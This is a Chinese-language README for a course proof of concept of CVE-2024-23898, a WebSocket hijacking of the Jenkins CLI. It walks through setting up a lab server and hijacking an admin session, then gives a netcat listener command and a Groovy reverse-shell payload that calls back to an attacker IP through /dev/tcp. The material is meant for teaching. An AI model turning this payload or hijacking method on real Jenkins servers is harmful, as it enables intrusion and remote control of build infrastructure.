Jenkins CLI WebSocket劫持 - PoC
针对CVE-2024-23898的概念验证跨站WebSocket劫持漏洞利用程序 — 影响Jenkins 2.217-2.441版本的漏洞。
此漏洞利用程序针对Jenkins CLI,该CLI可用于远程访问并向Jenkins控制服务器发出命令。如果管理员在登录目标Jenkins控制服务器后被诱骗访问恶意网站,远程攻击者可通过此漏洞利用程序获得访问权限并在Jenkins控制服务器上建立持久后门。
免责声明
此代码仅用于教育目的,仅供卡内基梅隆大学“黑客与攻击安全”课程使用。此代码不得武器化或以其他方式用于制造恶意软件。作者明确谴责任何此类尝试。
设置Jenkins
- 运行 "docker-compose build && docker-compose up -d"
- 导航到 http://localhost:8080,系统会提示你输入管理员密码
- 在jenkins docker容器中打开一个shell(不是POSTGRES的)
- "docker exec -it <container_id> bash"
- cd到Jenkins页面上列出的目录,获取密码
- 设置一个基本管理员账户(记住密码)并安装默认插件
-配置匿名用户的基本权限,通过转到Manage Jenkins > Security
- 将授权类型设置为 "Matrix-based"
- 允许匿名用户读取 "Overall" 和 "Job"
执行WebSocket劫持
- 打开Firefox,转到设置 > 安全与隐私
- 将浏览器隐私设置为自定义,将Cookies切换为“关闭”(这使Firefox允许所有cookies通过)
- 前往Jenkins,以管理员身份登录,确保点击“保持登录状态”
- Lauch evilApp.py,访问 http://localhost:5000
- 转到Network(网络)并点击刷新
- 点击文件名为“ws”的数据包,转到Response(响应),你应该看到显示 "Authenticated as: admin"
- 你也可以检查“Cookies”以查看remember-me cookie
执行反向Shell
- 在你的机器终端中,使用
nc -l <port_num> 启动一个netcat监听器(将 <port_num> 替换为任何未使用的端口号)
- 你必须获取Docker看到的你电脑的IP地址。在Mac上,你可以使用命令
ipconfig getifaddr en0 找到它。
- 假设你的Jenkins服务器正在运行,前往
[http://localhost:8080/script](http://localhost:8080/script)。如果尚未登录,请使用管理员账户登录。
- 将此payload粘贴并执行到Groovy脚本控制台中:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- 返回到有netcat监听器的终端。你应该已经进入Jenkins服务器的文件系统,能够执行管理员用户能做的任何操作。